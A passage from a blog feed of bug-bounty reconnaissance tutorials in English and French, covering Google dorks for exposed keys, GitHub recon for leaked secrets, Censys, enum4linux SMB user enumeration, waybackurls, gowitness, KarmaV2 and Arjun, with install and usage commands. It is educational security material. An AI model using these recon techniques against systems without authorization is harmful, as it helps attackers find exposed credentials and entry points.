<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731290129863/dd8e94e3-1729-4a26-91eb-92005077424d.png" alt class="image--center mx-auto" /></p>
<p>Interpretation of results.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731279673339/8f583716-d6db-4520-8505-a765df582355.png" alt class="image--center mx-auto" /></p>
<p>The results of the OneForAll command on https://hackerone.com show the executed modules and the number of subdomains found. For example, with the results of this query, it is observed that the CertInfo module found 4 subdomains in 0.1 seconds, access to the site dnsgrep.cn was denied (status 403), among other information.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731290099020/204d1d6d-7444-43a0-8db8-b01979d7aaee.png" alt class="image--center mx-auto" /></p>
<p>The servers a.ns.hackerone.com and b.ns.hackerone.com were also found, which allowed the retrieval of IP addresses 162.159.0.31 and 162.159.1.31.</p>
<p>The found subdomains will be listed in the /results folder by default in a CSV file, which can be complex to read. You can format the columns for display using the <code>column</code> and <code>less</code> commands:</p>
<pre><code class="lang-plaintext">column -s, -t &lt; hackerone.com.csv | less -#2 -N -S
</code></pre>
<ul>
<li><p>the <code>-s,</code> option (with a comma following <code>-s</code>) specifies that the comma (<code>,</code>) is the delimiter separating columns in the CSV file.</p>
</li>
<li><p>the <code>-t</code> option tells <code>column</code> to create a table with aligned columns.</p>
</li>
<li><p><code>&lt; hackerone.com.csv</code> redirects the content of the hackerone.com.csv file as input for the <code>column</code> command.</p>
</li>
<li><p><code>less -#2 -N -S</code> paginates the output with <code>less</code>, displays line numbers with <code>-N</code>, allows horizontal scrolling with <code>-S</code>, and sets tab spacing to 2 with <code>-#2</code>. You can exit the display by pressing the <code>q</code> key.</p>
</li>
</ul>
<p>The file with the results in a standard display appears as follows:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732226018213/a9a55b8d-66c6-4fa6-a787-9901d650b261.png" alt class="image--center mx-auto" /></p>
<p>The display transitions from the image above to those below using the command <code>column -s, -t &lt; hackerone.com.csv | less -#2 -N -S</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732241237226/1f2caa58-61dd-482e-a049-ceb066949a9c.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732241262762/c63c29e9-ff72-40e2-bc88-12c698f62fec.png" alt class="image--center mx-auto" /></p>
<p>Subdomain enumeration is a crucial step in information gathering, allowing the identification of parts of a domain that might be misconfigured or vulnerable. With tools like OneForAll, Subfinder for passive search, Assetfinder for its speed, and Sublist3r for combining passive search and brute force, valuable information about a domain's infrastructure can be obtained.</p>
<p><mark>It is important to note that the use of these tools should always be conducted within a legal framework.</mark></p>
]]></content:encoded></item><item><title><![CDATA[Information Gathering in Bug Bounty]]></title><description><![CDATA[In the context of Bug Bounty or security testing, information gathering is a step that involves collecting as much data as possible about a target. The goal is to better understand its environment and, above all, identify potential vulnerabilities. T...]]></description><link>https://blog.fikara.io/information-gathering-in-bug-bounty</link><guid isPermaLink="true">https://blog.fikara.io/information-gathering-in-bug-bounty</guid><category><![CDATA[bugbountytips]]></category><category><![CDATA[bugbountysearchengine]]></category><category><![CDATA[censys]]></category><category><![CDATA[enum4linux]]></category><category><![CDATA[karmav2]]></category><category><![CDATA[crunchbase]]></category><category><![CDATA[arjun ]]></category><category><![CDATA[information gathering]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[CyberSec]]></category><category><![CDATA[googleDorks]]></category><category><![CDATA[waybackurls]]></category><category><![CDATA[github-recon]]></category><category><![CDATA[2Articles1Week]]></category><category><![CDATA[Hashnode]]></category><dc:creator><![CDATA[FIKARA BILAL]]></dc:creator><pubDate>Fri, 13 Dec 2024 05:00:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/SYofhg_IX3A/upload/61cfc03d26bc96175a6feeb27d8993c2.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In the context of Bug Bounty or security testing, information gathering is a step that involves collecting as much data as possible about a target. The goal is to better understand its environment and, above all, identify potential vulnerabilities. This step relies on various techniques, and we’ll dive into some of them later. In this article, we’ll break down a few tools that are super handy for information gathering.</p>
<h2 id="heading-google-dorking">Google Dorking</h2>
<p>Google Dorking is a search technique that uses advanced queries to find sensitive information that isn’t accessible through a standard Google search. It helps narrow down the results to uncover web pages, files, and other hidden data.</p>
<h3 id="heading-options">Options</h3>
<ul>
<li><p><code>&lt;keyword&gt; site:www.website.com filetype:pdf</code></p>
<ul>
<li><p><code>site:</code> limits the search to the specified website.</p>
</li>
<li><p><code>filetype:</code> searches for specific file types, like PDFs in this case.</p>
</li>
</ul>
</li>
<li><p><code>intitle:&lt;keyword&gt; inurl:&lt;keyword&gt; cache:&lt;keyword&gt;</code></p>
<ul>
<li><p><code>intitle</code> finds web pages where the specified keyword appears in the title.</p>
</li>
<li><p><code>inurl</code>: searches for web pages with the keyword in the URL. This is useful for finding specific pages, directories, or files that include the keyword.</p>
</li>
<li><p><code>cache</code>: displays the cached version of a web page, essentially a backup saved by a search engine. Often used to view pages that have been deleted but are still accessible in the search engine’s cache. Also helpful for seeing how a site looked before major changes.</p>
</li>
</ul>
</li>
</ul>
<p>In the image below, we can see that the search only returns PDFs file that have “bug bounty“ term in their titles</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731352149546/d926860e-80cf-420f-9e13-5a75cc49734f.png" alt class="image--center mx-auto" /></p>
<p>We can use Google Dorks for more sensitive informations.</p>
<ul>
<li><p><code>intitle:"index of" "server-status" site:www.website.com</code>: this query searches for pages on the site that contains “index of“ and “server-status“ in the title. This can provide some informations about the server or web server status pages.</p>
</li>
<li><p><code>"public" "key" filetype:pem site:www.website.com</code> : this query is used to search for PEM files on the site that contains the words “public“ and “key“. Theses files are often used to store cryptography keys. So, we can potentially find exposed public keys</p>
</li>
</ul>
<p>Google Dorks can be effective means to identify vulnerabilities in a system. There are also files and lists available on Internet containing Google Dorks fot various searches.</p>
<h2 id="heading-bug-bounty-search-engine"><strong>Bug Bounty Search Engine</strong></h2>
<p><a target="_blank" href="https://nitinyadav00.github.io/Bug-Bounty-Search-Engine/"><strong>BugBountySearchEngine</strong></a> is a search engine that consolidates many methods for searching vulnerabilities and sensitive information on domains, websites, and even individuals. It offers options to find configuration or backup files, exposed databases, subdomains, and more. You can also search for specific datas on public sources like Github, Shodans, Censys and more.</p>
<p>The tool is availaible <a target="_blank" href="https://nitinyadav00.github.io/Bug-Bounty-Search-Engine/">here</a>.</p>
<p>To use it, enter a target domain in the textbox. Then select one of the predefined searches based on the information you are looking for.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731372249570/0646ddb6-87c6-4678-a1ab-d1c57c632ed0.png" alt /></p>
<h2 id="heading-github-recon"><strong>Github Recon</strong></h2>
<p>Github Recon is a technique used to search information on projects, organizations or even individuals by exploring Github repositories. It involves analyzing commit histories and monitoring activities to discover sensitive information. You can also use Github Dorks to refine searches. Sometimes, developers may accidentally leave sensitive information such as API keys, default passwords, and more.</p>
<p>In the search bar, just enter the desired dorks or queries. Then, examine the code and commits to gather information that can be useful.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731375930408/cbb7150b-4c0a-4384-93e3-aafb3d48eee1.png" alt /></p>
<h2 id="heading-censys"><strong>Censys</strong></h2>
<p><a target="_blank" href="https://search.censys.io/"><strong>Censys</strong></a> is a search engine and plateform that contains data from various sources about internet-connected infrastructures. It provides real-time data and returns informations on devices, services or domains. It can therefore be very useful in a process of gathering information on a target.</p>
<p>Censys is used to collect information such as IP adresses, services and open ports. With advanced filters, we can refine the results according to the labels (IPv6 hosts, remote access, email, etc…), server locations, and software providers (Amazon, Akamai, Google, Apache, nginx).</p>
<p>By doing a Google search, you can see that you have access to a lot of information, and the search result returns a lot of hosts that could be analyzed.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730477903707/ba854e66-5155-43c0-989f-74c2aa28c0cc.png" alt /></p>
<p>By selecting a host, you can access additional information such as routing, services, location, associated event history, and a Whois tab that provides details about the owner of the IP address.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730477808584/293379d7-0280-4d8c-aac9-35cd63a86acd.png" alt /></p>
<h2 id="heading-enum4linux"><strong>Enum4Linux</strong></h2>
<p>Enum4linux is an enumeration tool used to extract data from systems using the SMB (Server Message Block) protocol. It allows the collection of various information about user accounts, domain names, local groups, and shared folders on a network.</p>
<h3 id="heading-options-1"><strong>Options</strong></h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728488102092/7988f104-95e8-4549-8f44-8bf3497faaeb.png" alt /></p>
<ul>
<li><p><code>enum4linux -U -S -P -G [ip_adress]</code></p>
<ul>
<li><p>The <code>-U</code> option lists the users on the target system.</p>
</li>
<li><p>The <code>-S</code> option lists the available shares on the target system.</p>
</li>
<li><p>The <code>-P</code> option displays the password policy.</p>
</li>
<li><p>The <code>-G</code> option lists the groups on the system.</p>
</li>
<li><p>The <code>-a</code> option combines all options (<code>-U -S -G -P -r -o -n -i</code>). It is the default option when none is selected.</p>
</li>
</ul>
</li>
<li><p><code>enum4linux -u [username]-p [password] -U [ip_adresss]</code></p>
<ul>
<li>The <code>-u</code> and <code>-p</code> options specify a username and a password.</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729861779011/2ca2b547-12e0-4dbf-b74d-2bc29828e016.png" alt /></p>
<p>You can see several users on the system: Administrator, Guest, etc.</p>
<p>Enum4linux can be very useful because information such as users, file shares on the network, and groups and permissions can be exploited to identify potential vulnerabilities.</p>
<h2 id="heading-waybackurl"><strong>WaybackURL</strong></h2>
<p>WaybackURL is a service that allows access to old or archived versions of websites using the Internet Archive, a web page archiving service. It is used to view old versions of websites, and even if they have been modified, they may still contain vulnerabilities that have not been fixed or are still accessible through these archives.</p>
<p>The official documentation can be found on <a target="_blank" href="https://github.com/tomnomnom/waybackurls">GitHub</a>.</p>
<p>To install WaybackURL, use the following command:</p>
<pre><code class="lang-python">go install github.com/tomnomnom/waybackurls@latest
</code></pre>
<h3 id="heading-options-2"><strong>Options</strong></h3>
<ul>
<li><p><code>waybackurls -h</code>: The <code>-h</code> option lists all the options for waybackurls.</p>
</li>
<li><p><code>waybackurls</code> <a target="_blank" href="https://site.com"><code>https://site.com</code></a> <code>-dates | grep [word]</code></p>
<ul>
<li><p>the <code>-dates</code> option displays the archival date of each URL.</p>
</li>
<li><p><code>grep</code> filters the results to show only the URLs containing the term "word".</p>
</li>
</ul>
</li>
<li><p><code>cat domains.txt | waybackurls | grep -vE "\.(js|txt)$" &gt; urls.txt</code></p>
<ul>
<li><p>This command reads the file <code>domains.txt</code> and pipes the output to waybackurls. The results are then stored in the file <code>urls.txt</code>.</p>
</li>
<li><p>The <code>-vE</code> option excludes lines matching the expression specified immediately after (with the <code>-v</code> option) and enables extended regular expressions (with the <code>-E</code> option).</p>
</li>
<li><p>The expression <code>"\.(js|txt)$"</code> is used to match strings that end with <code>.js</code> or <code>.txt</code>.</p>
</li>
<li><p>Therefore, this command will list the archived URLs, excluding those that end with <code>.js</code> or <code>.txt</code>.</p>
</li>
</ul>
</li>
<li><p><code>echo "https://hackerone.com" | waybackurls -no-subs</code></p>
</li>
<li><p>The <code>-no-subs</code> option excludes subdomains of the target domain from the results.</p>
</li>
<li><p>This command will display all archived URLs of <a target="_blank" href="http://hackerone.com">hackerone.com</a>.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731341340729/80c29897-cd6b-47e6-b36b-998a76339c7b.png" alt /></p>
<h2 id="heading-gowitness"><strong>Gowitness</strong></h2>
<p>Gowitness is a tool used to take screenshots of websites, collect information on HTTP headers, and create reports on visited sites in an automated manner.</p>
<p>This tool, although it might seem "useless" because one could simply visit the web pages, is actually very practical when there are multiple sites to check without wasting a lot of time opening them one by one.</p>
<p>To install Gowitness, use the following command:</p>
<pre><code class="lang-python">go install github.com/sensepost/gowitness@latest
</code></pre>
<h3 id="heading-options-3"><strong>Options</strong></h3>
<ul>
<li><p><code>gowitness -h</code>: This option lists all the options for gowitness.</p>
</li>
<li><p><code>gowitness scan -h</code>: Shows the available options for performing scans.</p>
</li>
<li><p><code>gowitness scan single --url</code> <a target="_blank" href="https://google.com"><code>https://google.com</code></a> <code>--screenshot-path ./PATH --screenshot-format png --screenshot-fullpage</code>:</p>
<ul>
<li><p>The <code>--url</code> option specifies the URL to capture.</p>
</li>
<li><p>The <code>--screenshot-path</code> option sets the path where the screenshot will be saved.</p>
</li>
<li><p>The <code>--screenshot-format</code> option sets the format of the screenshot. The default is JPEG, but only JPEG and PNG are valid formats.</p>
</li>
<li><p>The <code>--screenshot-fullpage</code> option captures the entire page, rather than just the visible part. This is useful for pages with a lot of scrolling content.</p>
</li>
</ul>
</li>
<li><p><code>gowitness scan file -f ./PATH --log-scan-errors --write-db</code></p>
<ul>
<li><p>The <code>file -f</code> option specifies a file containing a list of URLs to display.</p>
</li>
<li><p>The <code>--log-scan-errors</code> option reports errors that occurred during the scans.</p>
</li>
<li><p>The <code>--write-db</code> option saves the results in a database for later consultation.</p>
</li>
</ul>
</li>
</ul>
<p>    The image below shows the execution of a command with gowitness. Messages indicate a failed attempt via port 80 for unsecured HTTP connections. However, the connection succeeded via port 443 for HTTPS connections, with screenshots taken.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731508066707/5f041b74-ed39-4dc2-95bc-d3e1611eeae3.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731508214727/3a46ae75-d700-4183-8a06-bec0802b63f2.png" alt /></p>
<h2 id="heading-karmav2"><strong>KarmaV2</strong></h2>
<p>KarmaV2 is an OSINT reconnaissance tool that allows you to find public and in-depth information about a target. The official documentation can be found on GitHub.</p>
<p>You can install KarmaV2 with the following commands.</p>
<ol>
<li><p>Clone the repository:</p>
<pre><code class="lang-python">  git clone https://github.com/Dheerajmadhukar/karma_v2.git
</code></pre>
</li>
<li><p>Install Shodan and the Python module mmh3.</p>
<pre><code class="lang-python">  python3 -m pip install shodan mmh3
</code></pre>
</li>
<li><p>Install the JSON parser JQ if it is not already installed.</p>
<pre><code class="lang-python">  apt install jq -y
</code></pre>
</li>
<li><p>Install httprobe</p>
<pre><code class="lang-python">  go install -v github.com/tomnomnom/httprobe@master
  cd httprobe
  go build main.go
  mv main httprobe
  sudo mv httprobe /bin/
</code></pre>
</li>
<li><p>Install Interface</p>
<pre><code class="lang-python">  git clone https://github.com/codingo/Interlace.git
  cd Interlace
  pip install -r requirements.txt
  sudo python3 setup.py install
</code></pre>
</li>
<li><p>Install Nuclei</p>
<pre><code class="lang-python">  go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
</code></pre>
</li>
<li><p>Install Lolcat</p>
<pre><code class="lang-python">  apt install lolcat -y
</code></pre>
</li>
<li><p>Install anew</p>
<pre><code class="lang-python">  git clone https://github.com/tomnomnom/anew.git
  cd anew
  go build main.go
  mv main anew
  sudo mv anew /bin/
</code></pre>
</li>
<li><p>Create an account on <a target="_blank" href="http://Shodan.io">Shodan.io</a> to obtain your Shodan API key.</p>
<p> Insert the key into the <code>.token</code> file in the <code>/karma_v2</code> directory.</p>
<pre><code class="lang-python">  nano ./token
  SHODAN_API_KEY_FROM_SHODAN
</code></pre>
</li>
<li><p>Run karma with the following command</p>
<pre><code class="lang-python">bash karma_v2 -h
</code></pre>
</li>
</ol>
<p>Depending on your system, you may need to run karma_v2 in a virtual environment.</p>
<h3 id="heading-options-4">Options</h3>
<ul>
<li><p><code>bash karma_v2 -h</code>: To see the list of all options for Karma_v2.</p>
</li>
<li><p><code>bash karma_v2 -d [DOMAIN] -l [INT] -ip -cve</code></p>
<ul>
<li><p>The <code>-d</code> option specifies the domain.</p>
</li>
<li><p>The <code>-ip</code> option searches for IP addresses associated with this domain.</p>
</li>
<li><p>The <code>-l</code> option specifies the number of results to return. You can specify <code>-1</code> to indicate an unlimited number of results.</p>
</li>
<li><p>The <code>-cve</code> option searches for vulnerabilities associated with the domain.</p>
</li>
</ul>
</li>
<li><p>The options <code>-d</code>, <code>-l</code>, and the mode options (<code>-ip</code>, <code>-asn</code>, <code>-cve</code>, etc.) are required to run karma_v2.</p>
</li>
<li><p>The <code>-deep</code> option supports all options: count, ip, asn, cve, favicon, leaks.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727707001799/f22c0cce-30ce-4985-bd1c-e1db2812657b.png?auto=compress,format&amp;format=webp" alt /></p>
<h2 id="heading-crunchbase">Crunchbase</h2>
<p><a target="_blank" href="https://www.crunchbase.com/">Crunchbase</a> is a paid platform that provides information on companies and investors. It offers data that allows for the analysis of company acquisitions in the market, such as startups, as well as information about company members.</p>
<h2 id="heading-arjun">Arjun</h2>
<p>Arjun is a tool that helps discover hidden HTTP parameters in GET and POST requests that could be vulnerable in web applications. It identifies potential entry points for attacks by testing multiple possible parameters. For context, GET and POST requests are methods for sending data to a web server. The GET method sends data via the URL, meaning it appears in the browser's address bar. The POST method sends data in the body of the HTTP request, making it invisible in the URL. Arjun is used to search for these parameters in applications.</p>
<p>The official documentation can be found on <a target="_blank" href="https://github.com/s0md3v/Arjun">GitHub</a>.</p>
<p>To install Arjun, use the following command:</p>
<pre><code class="lang-python">pipx install arjun
</code></pre>
<h3 id="heading-options-5">Options</h3>
<ul>
<li><p><code>arjun -h</code>: This option displays all the options for the tool.</p>
</li>
<li><p><code>arjun -u http://website.com -m POST -o output.json -oB</code></p>
<ul>
<li><p>The <code>-u</code> option specifies the site to analyze.</p>
</li>
<li><p>The <code>-o</code> option saves the data to a file.</p>
</li>
<li><p>The <code>-m</code> option sets the HTTP method to use for the request. Valid formats are GET or POST for the HTTP method and JSON or XML for the request body.</p>
</li>
<li><p>The <code>-oB</code> option redirects traffic through Burp Suite for analysis. By default, Burp listens on <code>127.0.0.1:8080</code>, allowing you to view the requests and responses intercepted by Burp.</p>
</li>
</ul>
</li>
<li><p><code>arjun -i urls.txt -w /PATH/TO/FILE --include “token=qwerty“</code></p>
<ul>
<li><p>The <code>-i</code> option specifies a file with a list of URLs to analyze.</p>
</li>
<li><p>The <code>-w</code> option allows you to specify a file containing a list of words. This list includes potential parameter names that Arjun will use to test the target URL. By default, the tool uses a built-in word list located at <code>{arjundir}/db/large.txt</code>.</p>
</li>
<li><p>The <code>--include</code> option allows you to insert data for each request. The variable <code>token</code> with a specific value is used in applications requiring authentication tokens. You can include any type of data, such as API keys, authentication keys, and others.</p>
</li>
<li><p>You can also use the options <code>-m XML --include='&lt;?xml&gt;&lt;root&gt;$arjun$&lt;/root&gt;'</code> to include a specific XML structure in the request. The marker <code>$arjun$</code> is where the tool will insert the parameters it tests.</p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-interpretation-of-the-results">Interpretation of the results.</h3>
<p>The image above shows the command <code>arjun -u http://testphp.vulnweb.com/listproducts.php -oB -o output.json</code> executed.</p>
<p>It shows that the command identified the parameters <code>artist</code> and <code>cat</code> in the response body.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731603651357/7900ebba-4c9a-4749-9ec5-f23736d5d634.png" alt class="image--center mx-auto" /></p>
<p>For the <code>-oB</code> option to work, Burp must be open and configured to intercept requests. You can open a terminal and launch Burp with the command <code>burpsuite</code>. Go to the Proxy settings and ensure that the proxy address in Burp is configured to <code>127.0.0.1:8080</code>. Then, enable interception.</p>
<p>You can see two query parameters, "cat=111110" and "artist=11111", along with other details such as the host, client software, etc.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731602051433/005fea5a-2a79-487f-8919-7a777b010b78.png" alt /></p>
<p>These tools are suitable for the reconnaissance phase in a security test or bug bounty, where the goal is to discover potential vulnerabilities by gathering data on the target.</p>
<p><mark>It is important to note that the use of these tools should always be conducted within a legal framework.</mark></p>
]]></content:encoded></item><item><title><![CDATA[BugBounty]]></title><description><![CDATA[Collecte d’informations
Dans un contexte de BugBounty ou de test de sécurité, la collecte d’informations est une étape qui consiste à recueillir un maximun de données sur une cible. Le but est de mieux comprendre son environnement et surtout identifi...]]></description><link>https://blog.fikara.io/bugbounty</link><guid isPermaLink="true">https://blog.fikara.io/bugbounty</guid><category><![CDATA[bugbounty]]></category><category><![CDATA[bugbountytips]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[CyberSec]]></category><category><![CDATA[gobuster]]></category><category><![CDATA[fluf]]></category><category><![CDATA[naabu]]></category><category><![CDATA[hakrawler]]></category><category><![CDATA[subzy]]></category><category><![CDATA[2Articles1Week]]></category><category><![CDATA[Hashnode]]></category><dc:creator><![CDATA[FIKARA BILAL]]></dc:creator><pubDate>Tue, 10 Dec 2024 05:00:18 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/3TU34jaW88k/upload/9d299f4cd3a5dab554dd7f2f4fb2f1df.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-collecte-dinformations">Collecte d’informations</h1>
<p>Dans un contexte de BugBounty ou de test de sécurité, la collecte d’informations est une étape qui consiste à recueillir un maximun de données sur une cible. Le but est de mieux comprendre son environnement et surtout identifier des vulnérabilités potentielles. Elle utilise des techniques variées dont certaines seront détaillées par la suite.</p>
<h2 id="heading-google-dorking">Google Dorking</h2>
<p>Le Google Dork est une technique de recherche qui utilise des requêtes avancées afin de trouver des informations sensibles, non accessibles via une recherche Google standard. Cela permet d’affiner la recherche pour découvrir des pages web, des fichiers et d’autres données cachées.</p>
<h3 id="heading-options">Options</h3>
<ul>
<li><p><code>&lt;keyword&gt; site: www.website.com filetype:pdf</code></p>
<ul>
<li><p><code>site:</code> effectue la recherche du keyword seulement sur le site spécifié.</p>
</li>
<li><p><code>filetype:</code> recherche un type de fichiers spécifiques, ici les pdf.</p>
</li>
</ul>
</li>
<li><p><code>intitle:&lt;keyword&gt; inurl:&lt;keyword&gt; cache:&lt;keyword&gt;</code></p>
<ul>
<li><p><code>intitle:</code> recherche des pages web dont le titre contient le mot spécifié</p>
</li>
<li><p><code>inurl:</code> recherche les pages web dont l’URL contient le mot spécifié. Cette technique permet de retrouver des pages spécifiques, des répertoires ou des fichiers qui incluent le mot-clé.</p>
</li>
<li><p><code>cache:</code> permet d’afficher la version en cache d’une page web. C’est à dire elle affiche une copie sauvegardée par un moteur de recherche.</p>
<p>  Elle est souvent utilisée pour afficher une page qui a été supprimée, mais toujours visible dans le cache du moteur de recherche. Ou encore voir comment un site apparaissaît avant des modifications majeures.</p>
</li>
</ul>
</li>
</ul>
<p>Sur l’image ci-dessous, on peut voir que la recherche retourne juste des fichiers PDF qui ont le terme "bug bounty" dans le titre.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731352149546/d926860e-80cf-420f-9e13-5a75cc49734f.png" alt class="image--center mx-auto" /></p>
<p>On peut utiliser des Google Dorks pour des informations plus sensibles.</p>
<ul>
<li><p><code>intitle:"index of" "server-status" site:www.website.com</code> : cette requête recherche des pages sur le site dont le titre contient ”index of ” et “server-status“. Cela peut permettre d’avoir des informations sur le serveur ou des pages de statut de serveur.</p>
</li>
<li><p><code>"public" "key" filetype:pem site:www.website.com</code> : pour rechercher des fichiers de type PEM sur le site contenant les mots “public" et “key". Ces fichiers sont souvent utilisés pour stocker des clés pour la cryptographie. On pourrait donc potentiellement retrouve des clés publiques exposées.</p>
</li>
</ul>
<p>Les Google Dorks peuvent être des moyens efficaces pour identifier des vulnérabilités sur un système. Il existe aussi des fichiers et des listes disponibles sur Internet contenant des google Dorks pour diverses recherches.</p>
<h2 id="heading-bug-bounty-search-engine">Bug Bounty Search Engine</h2>
<p><a target="_blank" href="https://nitinyadav00.github.io/Bug-Bounty-Search-Engine/">BugBountySearchEngine</a> est un moteur de recherche qui regroupe plusieurs moyens de rechercher des vulnérabilitées et des informations sensibles sur des domaines. Il offre des options pour trouver des fichiers de configuration ou de sauvegarde, des bases de données exposées, des sous-domaines et bien d’autres. On peut aussi y rechercher des données spécifiques sur des des sources publiques comme Github, Shodan, Censys et d’autres.</p>
<p>L’outil est disponible <a target="_blank" href="https://nitinyadav00.github.io/Bug-Bounty-Search-Engine/">ici</a>.</p>
<p>Pour l’utiliser, entrez un domaine cible dans l’interface. Sélectionnez ensuite l’une des recherches prédéfinies en fonction des types d’informations que vous souhaitez obtenir.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731372249570/0646ddb6-87c6-4678-a1ab-d1c57c632ed0.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-github-recon">Github Recon</h2>
<p>Le Github Recon est une technique utilisée pour rechercher des informations sur des projets, des organisations ou même des individus en explorant les dépôts sur Gihub. Elle consiste à analyser l’historique des commits, surveiller les activités dans le but de découvrir des informations sensibles. Vous pouvez aussi utiliser les Github Dorks pour affiner les recherches. Il est parfois possible que les développeurs oublient ou laissent des informations sensibles comme des clé APIs, des mots de passe par défaut et d’autres.</p>
<p>Dans la barre de recherhce, il suffit d’inscrire les dorks ou les requêtes souhaitées. Il faut ensuite examiner les codes, les commits et les branches afin d’y recueillir des informations qui pourraient être utiles.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731375930408/cbb7150b-4c0a-4384-93e3-aafb3d48eee1.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-censys">Censys</h2>
<p><a target="_blank" href="https://search.censys.io/">Censys</a> est un moteur de recherche et une plateforme qui contient des données provenant de diverses sources sur les infrastructure connectées à Internet. Il dispose de données en temps-réel et retourne les informations sur des appareils, services ou des domaines. Il peut donc être très utile dans un processus de collecte d’informations sur une cible.</p>
<p>Censys permet de collecter des informations comme les adresses IP, les services et les ports ouverts. Avec les filtres avancés , on peut affiner les résultats selon les labels (hôtes IPV6, accès à distance, email etc.), les systèmes autonomes (AS), la localisation des serveurs, les fournisseurs de logiciels (Amazon, Akamai, Google, Apache, nginx)</p>
<p>En faisant une recherche sur Google, on peut voir qu’on a accès a beaucoup d’informations, et le résultat de la recherche retourne beaucoup d’hôtes qui pourraient être analysées.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730477903707/ba854e66-5155-43c0-989f-74c2aa28c0cc.png" alt class="image--center mx-auto" /></p>
<p>En choisissant un hôte, on a d’autres informations comme le routage, les services , la localisation, l’historique des évènements associés et aussi un onglet Whois qui fournit des détails sur le propriétaire de l’adresse IP.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730477808584/293379d7-0280-4d8c-aac9-35cd63a86acd.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-enum4linux">Enum4Linux</h2>
<p>Enum4linux est un outil d'énumération pour extraire des données de systèmes utilisant le protocole SMB (Server Message Block). Il permet de recueillir divers informations à propos des comptes utilisateurs, des noms de domaines, les groupes locaux les dossiers partagés sur un réseau.</p>
<h3 id="heading-options-1">Options</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728488102092/7988f104-95e8-4549-8f44-8bf3497faaeb.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p><code>enum4linux -U -S -P -G [ip_adress]</code></p>
<ul>
<li><p>l’option <code>-U</code> permet de lister les utilisateurs sur le système cible</p>
</li>
<li><p>l’option <code>-S</code> permet de lister les partages disponibles sur le système cible</p>
</li>
<li><p>l’option <code>-P</code> pour afficher la politique des mots de passe</p>
</li>
<li><p>l’option <code>-G</code> liste les groupes du système</p>
</li>
<li><p>l’option <code>-a</code> combine toutes les options (-U -S -G -P -r -o -n -i). C’est l’option par défaut lorsqu’aucune n’est sélectionnée.</p>
</li>
</ul>
</li>
</ul>
<p>En exécutant la commande avec l’option <code>-U</code>, l’outil présente une liste d’utilisateur sur une machine 192.168.2.96</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729861779011/2ca2b547-12e0-4dbf-b74d-2bc29828e016.png" alt class="image--center mx-auto" /></p>
<p>Enum4linux peut être très utile car les informations comme les utilsateurs, les partages de fichiers sur le réseau, ou encore les groupes et permissions. Ces informations peuvent être exploitées pour identifier de potentielles vulnérabilités.</p>
<h2 id="heading-waybackurl">WaybackURL</h2>
<p>WaybackURL est un service qui permet d’accéder à des versions anciennes ou archivées de site web en utilisant l’Internet Archive, un service d'archivage de pages web. Il sert à consulter des anciennes versions de site web, et même si elles ont été modifiées, elle peuvent toutefois contenir des vulnérabilités qui n’ont peut être pas été corrigées ou toujours accessibles via ces archives</p>
<p>La documentation officielle se retrouve sur <a target="_blank" href="https://github.com/tomnomnom/waybackurls">GitHub</a>.</p>
<p>Pour installer WaybackURL, utilisez la commande suivante:</p>
<pre><code class="lang-python">go install github.com/tomnomnom/waybackurls@latest
</code></pre>
<h3 id="heading-options-2">Options</h3>
<ul>
<li><p><code>waybackurls-h</code> : l’option <code>-h</code> permet de lister toutes les options de waybackurls</p>
</li>
<li><p><code>waybackurls https://site.com -dates | grep [word]</code></p>
<ul>
<li><p>l’option <code>-dates</code> affiche la date d’archivage de chaque URL</p>
</li>
<li><p>grep filtre les résultats pour ne montrer que les URL contenant le terme “word“</p>
</li>
</ul>
</li>
<li><p><code>cat domains.txt | waybackurls | grep -vE "\.(js|txt)$" &gt; urls.txt</code></p>
<ul>
<li><p>Cette commande lit le fichier domains.txt et redirige la sortie vers waybackurls. Les résultats sont stockés à la fin dans le fichier urls.txt</p>
</li>
<li><p>l’option <code>-vE</code> exclut les lignes correspondant à l’expression (-v) et active les expressions régulières étendues (-E).</p>
</li>
